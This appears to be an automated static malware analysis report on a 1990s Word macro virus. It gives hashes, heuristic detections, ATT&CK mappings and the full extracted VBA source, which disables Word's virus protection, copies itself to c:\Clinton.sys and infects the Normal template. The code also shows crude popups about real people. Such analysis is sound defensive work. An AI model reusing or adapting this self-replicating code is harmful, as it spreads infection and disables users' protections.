Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 989e603f088efd14…

MALICIOUS

Office (OLE)

42.5 KB Created: 1998-08-18 05:19:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: ef58ab43101352b3577c56990ffb8d7f SHA-1: fd7287cb7b5e9f8cad37574cd5d836ff3a1585cf SHA-256: 989e603f088efd148013b892daf81da6c58a33e6de84e03e7ffdba1027432af6
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains legacy WordBasic macro virus markers and actively uses VBA macros, including AutoOpen and Auto_Close, to infect the Normal template. The script attempts to export its code to 'c:\Clinton.sys' and then inject it into the Normal template, indicating a macro-based infection attempt. The ClamAV detection 'Doc.Trojan.Class-45' further supports the malicious nature of the file.

Heuristics 6

  • ClamAV: Doc.Trojan.Class-45 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Class-45
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.abcnews.com/ In document text (OLE body)
    • http://www.msnbc.com/In document text (OLE body)
    • http://www.cnn.com/In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1844 bytes
SHA-256: da5ca0dfcfa03f91ecc884fb711d21fc7332b4dde35beea35ff9392ed0a05f1f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()

On Error GoTo out

Options.VirusProtection = False

Options.SaveNormalPrompt = False

Options.ConfirmConversions = False

Clintons = ActiveDocument.VBProject.VBComponents.Item(1).codemodule.CountOfLines

Clintonr = NormalTemplate.VBProject.VBComponents.Item(1).codemodule.CountOfLines

If Clintonr > 70 And Clintons > 0 Then GoTo out

If Clintonr < 70 Then

    Set Monica = NormalTemplate.VBProject.VBComponents.Item(1)

    ActiveDocument.VBProject.VBComponents.Item(1).Name = Monica.Name

    ActiveDocument.VBProject.VBComponents.Item(1).Export "c:\Clinton.sys"

End If

If Clintons = 0 Then Set Monica = ActiveDocument.VBProject.VBComponents.Item(1)

Infection = Int(Rnd * 100)

If Infection = 99 Then MsgBox "Monica Blows Clinton! -=News@11=-"

If Day(Now) = 17 And (Month(Now) > 8) Then MsgBox "Today is Clinton & Monica Fuck-Fest Day!"

Monica.codemodule.AddFromFile ("c:\Clinton.sys")

With Monica.codemodule

    For x = 1 To 4

    .deletelines 1

    Next x

End With

If Clintonr < 70 Then

    With Monica.codemodule

    .replaceline 1, "Sub AutoClose()"

    .replaceline 75, "Sub ToolsMacro()"

    End With

End If

With Monica.codemodule

    For x = 2 To 72 Step 2

    .replaceline x, "'" & Application.UserName & Now & Application.ActivePrinter & Application.ActiveWindow

    Next x

End With

out:

If Clintonr > 70 And Clintons = 0 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName

End Sub

Sub ViewVBCode()
'Word97/Class.Clinton by Virus, Thanks Vic.
End Sub

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